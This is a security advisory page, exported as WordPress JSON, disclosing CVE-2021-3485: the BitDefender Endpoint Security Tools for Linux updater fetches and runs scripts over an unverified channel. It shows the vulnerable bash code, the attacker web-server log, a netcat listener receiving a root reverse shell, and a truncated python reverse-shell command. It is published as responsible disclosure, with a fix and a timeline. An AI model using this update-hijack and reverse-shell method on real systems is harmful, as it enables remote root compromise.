{"id":16721,"date":"2021-07-07T12:07:13","date_gmt":"2021-07-07T10:07:13","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/security-advisories\/usd-2021-0014\/"},"modified":"2021-07-19T14:18:03","modified_gmt":"2021-07-19T12:18:03","slug":"usd-2021-0014","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0014\/","title":{"rendered":"usd-2021-0014"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<h1>usd-2021-0014 | BitDefender Endpoint Security Tools for Linux<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2021-0014<\/span><br \/><strong>CVE Number<\/strong><span>: <\/span><a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-3485\" target=\"_blank\" rel=\"noopener\">CVE-2021-3485<\/a><br \/><strong>Affected Product<\/strong><span>: Bitdefender Endpoint Security Tools for Linux<\/span><br \/><strong>Affected Version<\/strong><span>: &lt; 6.2.21.155<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Improper Input Validation (CWE-20)<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong><span>: <\/span><a href=\"https:\/\/www.bitdefender.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.bitdefender.com\/<\/a><br \/><strong>Vendor Status<\/strong><span>: Fixed<\/span><\/p>\n<h3><\/h3>\n<h3>Description<\/h3>\n<p>The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle position can exploit this and gain remote code execution as root.<\/p>\n<p>The vulnerable part of the application is the update mechanism called \u201eproduct-update\u201c. It uses an insecure channel to receive the content of the update.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p><span>The vulnerable Code is inside the <\/span><em>DownloadFile<\/em><span> function of the product-update bash script. In the following, one can see a code snippet from the file. The <\/span><em>RunCommand<\/em><span> function is a wrapper for eval assuring that the command is run as root.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]DownloadFile ()<br \/>\n{<br \/>\n#proxy download<br \/>\neval RunCommand 'ftp_proxy=\"http:\/\/$proxyHost\" \\<br \/>\nhttp_proxy=\"http:\/\/$proxyHost\" \\<br \/>\nhttps_proxy=\"https:\/\/$proxyHost\" \\<br \/>\nwget --no-check-certificate ${opts} -q -T 60 --tries=2 -O \\\"${to}\\\" \\\"${from}\\\" \\<br \/>\n\uff06\uff06 Log append \"Done.\" \uff06\uff06 DWL_METHOD=\"wget_proxy\" \uff06\uff06 return 0'<br \/>\n[...]<br \/>\n#direct download<br \/>\neval RunCommand 'wget --no-check-certificate ${opts} -q -T 60 --tries=2 -O \"\\\"${to}\\\"\" ${from}' \\<br \/>\n\uff06\uff06 USE_PROXY=\"N\" \uff06\uff06 DWL_METHOD=\"wget_direct\" \uff06\uff06 Log append \"Done.\" \uff06\uff06 return 0<br \/>\n[...]<br \/>\n}<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>As one can see, the file download is done using <em>wget<\/em> with the <em>\u2013no-check-certificate<\/em> flag. In our examined test setup BitDefender used HTTP instead of HTTPS anyway.<\/p>\n<p>The path to gain remote code execution is as follows:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"][...]<br \/>\nDownloadFile \"${setupdir}\/${verfile}\" \"${URL}\/${verfile}\" || RET=1<br \/>\n[...]<br \/>\n#download new script and run it with same params<br \/>\nNEW_SCRIPT_URL+=\"\/${newscript}\"<\/p>\n<p>DownloadFile \"${SCRIPTDIR}\/${newscript}\" \"${NEW_SCRIPT_URL}\"<br \/>\nRunCommand \"chmod +x \\\"${SCRIPTDIR}\/${newscript}\\\"\"<br \/>\n[...]<br \/>\nRunCommand \"\\\"${SCRIPTDIR}\/${newscript}\\\" $*\"<br \/>\n[...]<br \/>\n<\/code><\/pre>\n<div class=\"x-text\"><\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"x-text\">\n<p>On the attacker Webserver this can be observed as:<\/p>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/latest_rings.dat HTTP\/1.1\" 200 -<br \/>\n\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/0.0.0.0\/linux-amd64\/\/version.txt HTTP\/1.1\" 200 -<br \/>\n\"GET http:\/\/192.168.1.144:7074\/\/bst_nix\/0.0.0.0\/downloader.sh HTTP\/1.1\" 200 -<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"x-text\">\n<div class=\"x-text\">\n<p>When a python reverse shell is used the product-update script will connect back:<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"]# nc -l -p 4242 -v<br \/>\nListening on [0.0.0.0] (family 2, port 4242)<br \/>\nConnection from cq-1120 33730 received!<\/p>\n<p>root@cq-1120:\/opt\/BitDefender\/bin# id<br \/>\nuid=0(root) gid=0(root) groups=0(root)<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>In the following process list output can be observed, that the python script is a child of the product update:<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" hover_enabled=\"0\" sticky_enabled=\"0\"] root 3237 0.0 0.0 24856 3884 tty1 S+ 02:18 0:00 \\_ \/bin\/bash .\/product-update<br \/>\nroot 3238 0.0 0.1 44552 10464 tty1 S+ 02:18 0:00 \\_ python -c import socket,subprocess[...]<br \/>\nroot 3239 0.0 0.0 22488 3452 pts\/0 Ss+ 02:18 0:00 \\_ \/bin\/bash<\/code><\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p><span>It is recommended to use industry proven schemes to implement a software update. This is relying on a secure channel for communication and signing update binaries with a manufacturer private key.<\/span><\/p>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>2021-04-07: Vulnerability identified by Ralf Almon of usd AG.<\/li>\n<li>2021-04-07: Initial report to vendor.<\/li>\n<li>2021-04-28: CVE-2021-3485 is assigned.<\/li>\n<li>2021-05-05: Security release is scheduled for 19th May.<\/li>\n<li>2021-05-19: Security release is published.<\/li>\n<li>2021-05-24: Security advisory is published: <a href=\"https:\/\/www.bitdefender.com\/support\/security-advisories\/improper-input-validation-in-bitdefender-endpoint-security-tools-for-linux-va-9769\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.bitdefender.com\/support\/security-advisories\/improper-input-validation-in-bitdefender-endpoint-security-tools-for-linux-va-9769\/<\/a>.<\/li>\n<li>2021-05-31: Security advisory released by usd AG.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p><span>This security vulnerability was found by Ralf Almon of usd AG.<\/span><\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0014 | BitDefender Endpoint Security Tools for Linux Advisory ID: usd-2021-0014CVE Number: CVE-2021-3485Affected Product: Bitdefender Endpoint Security Tools for LinuxAffected Version: &lt; 6.2.21.155Vulnerability Type: Improper Input Validation (CWE-20)Security Risk: MediumVendor URL: https:\/\/www.bitdefender.com\/Vendor Status: Fixed Description The BitDefender Endpoint Security Tools Product Update uses an insecure way of performing product updates. An Attacker in a man-in-the-middle [&hellip;]<\/p>\n","protected":false},"author":96,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-16721","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16721","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/96"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=16721"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16721\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=16721"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}